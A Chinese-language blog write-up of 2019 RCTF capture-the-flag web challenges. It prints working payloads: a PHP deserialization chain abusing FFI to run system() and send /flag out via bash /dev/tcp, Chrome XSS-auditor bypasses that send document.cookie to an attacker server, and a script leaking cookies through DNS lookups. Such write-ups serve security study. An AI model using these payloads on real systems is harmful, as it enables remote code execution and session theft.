Xi4or0uji's blog

2019 RCTF wp

字数统计: 1.9k阅读时长: 9 min
2019/05/21 Share

这场神仙比赛菜鸡只能输出一些水题,趁着环境没关复现一下

WEB

nextphp

题目进去就给一句话木马

1
2
3
4
5
6
 <?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

看下phpinfo

不知道为什么php版本号有个-dev,open_basedir只有/var/www/html/,看了下有个preload.php文件,读一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
final class A implements Serializable {

protected $data = [
'ret' = null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

而且还开了preload

到了这里没思路了,谷歌一下文件名,没见过preload是什么呢,https://wiki.php.net/rfc/preload ,看到有句这样的话

1
In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

FFI危险?看一下有没有开

再去看一下FFI是什么,https://www.php.net/manual/zh/ffi.examples-basic.php ,emmm,一个可以插入原始C代码且执行的函数,https://www.php.net/manual/en/ffi.examples-callback.php
现在我们可以写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class A implements Serializable{
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *cmd);'
];
public function serialize():string{
return serialize($this->data);
}
public function unserialize($payload){
$this->data = unserialize($payload);
$this->run();
}
}
$a = new A();
echo urlencode(serialize($a));

请求就有flag了

1
http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C%3A1%3A%22A%22%3A91%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A28%3A%22int+system%28const+char+%2Acmd%29%3B%22%3B%7D%7D');var_dump($a->ret->system('bash -c "cat /flag > /dev/tcp/ip/port"'));

rblog

这题源码里面有一个apihttps://rblog.2019.rctf.rois.io/api/v2/posts,修改一下参数/api/v2/aaa发现回显

1
2
3
4
5
{
"status": false,
"message": "'\/aaa' not found.",
"data": []
}

尝试在后面添加标签也不能解析,返回的content-typejson,这个时候想到/api/v2/的v2是表示版本号的,后台有没有v1呢,访问一下/api/v1/posts,发现居然正常回显!!!
再尝试一下在后面加标签,这次返回是content-type: text/html了,也就是说可以成功执行xss了

贴上题目的提示

所以我们可以尝试一下/api/v1/posts?callback=test,这个时候会返回

1
test({...})

但是如果我们改成<script>标签打过去,/会被转义,fuzz一下,转义的只有斜杠和引号,所以我们可以用iframe执行实体编码打过去来绕过,到了这里还有一个难点,题目说了bot用的是最新版的chrome,如果url中的代码和页面内的代码一致就会拦截,而且这个拦截还严格很多,有没有什么方法可以绕过呢?思考一下,假设传进一个无用的参数,这个参数在回传的时候会被后台转义,因此就会造成代码不同实现绕过,这里可以知道中文字符的存储是unicode编码的,自带斜杠,所以我们只要加上中文字符就行,最后的payload

1
https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc%3D%E5%95%8A%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2332%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%23115%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23114%3B%26%2398%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2346%3B%26%2350%3B%26%2348%3B%26%2349%3B%26%2357%3B%26%2346%3B%26%23114%3B%26%2399%3B%26%23116%3B%26%23102%3B%26%2346%3B%26%23114%3B%26%23111%3B%26%23105%3B%26%23115%3B%26%2346%3B%26%23105%3B%26%23111%3B%26%2347%3B%26%2397%3B%26%23112%3B%26%23105%3B%26%2347%3B%26%23118%3B%26%2349%3B%26%2347%3B%26%23112%3B%26%23111%3B%26%23115%3B%26%23116%3B%26%23115%3B%26%2332%3B%26%2399%3B%26%2397%3B%26%23108%3B%26%23108%3B%26%2398%3B%26%2397%3B%26%2399%3B%26%23107%3B%26%2361%3B%26%23112%3B%26%2397%3B%26%23114%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2346%3B%26%23104%3B%26%23114%3B%26%23101%3B%26%23102%3B%26%2361%3B%26%2339%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23120%3B%26%23120%3B%26%23120%3B%26%2358%3B%26%23120%3B%26%23120%3B%26%23120%3B%26%2347%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2363%3B%26%2339%3B%26%2337%3B%26%2350%3B%26%2398%3B%26%23101%3B%26%23115%3B%26%2399%3B%26%2397%3B%26%23112%3B%26%23101%3B%26%2340%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2341%3B%26%2359%3B%26%2399%3B%26%23111%3B%26%23110%3B%26%23115%3B%26%23111%3B%26%23108%3B%26%23101%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2334%3B%26%2362%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%3E

提交给管理员就可以拿到flag了

ez4cr

题目如下

依旧是xss,这次要打的是report-rblog的cookie,结合上一题的提示the flag for rblog2019.2 is in the cookie of the report domain. You may need a chrome xss auditor bypass ._.,应该不会是audition的0day,只能继续分析题目场景
先看一下题目源码report.js

这里有个report.php,跟过去看一下,测试一下,发现他也是support jsonp

测试一下中文,这次不行了

然后测试过去发现后端会将传过去的http改成https传回来,所以我们只要修改src的路径为http就能bypass了,payload

1
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=location.href=%27http://vps_ip/xss?%27%25%32%62escape(document.cookie);></script>

report给bot就能拿到flag了

1
RCTF{charset_in_content-type_ignored._.??did_i_find_a_chrome_xss_filter_bypass_0day}

jail

这个页面登录注册进去看见一个编写留言的框,一个反馈给admin看留言,还有一个文件上传的地方
抓个包先看一看有没有什么提示

看到有两个hint,flag1_is_in_cookiemeta_refresh_is_banned_in_server,所以应该是要打到admin的cookie,所以应该是xss的利用,我们先继续审计一下源码+fuzz一下字符,看下有没有什么限制
在火狐操作了一波,用img标签打过去没有反应,猜测bot应该是chrome的,而且还禁止了跳转

1
2
3
4
5
6
7
<script>
window.addEventListenr("beforeunload", function (event){
event.returnValue = "Are you sure want to exit?"
return "Are you sure want to exit?"
})
Object.freeze(document.location)
</script>

freeze对象以后是没有办法解冻的,只能克隆一个具有相同属性的新对象,通过修改新对象的属性来达到目的
看一下location有什么能利用

尝试一下换一下属性,发现host和hostname可以修改属性且跳转,最终利用

1
2
3
4
5
6
7
8
9
10
11
<script> 
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
} location.hostname=stringToHex(document.cookie).substr(0,500)+".onsdtb.ceye.io"</script>

最后看dns流量就行

password

还是先看题目

所以我们现在先想办法拿到inter.html

MISC

draw

logo command语句,找个在线工具就能解出来

这场比赛出题还是很不错的,菜鸡学到了不少,涨姿势了Orz

CATALOG
  1. 1. WEB
    1. 1.1. nextphp
    2. 1.2. rblog
    3. 1.3. ez4cr
    4. 1.4. jail
    5. 1.5. password
  2. 2. MISC
    1. 2.1. draw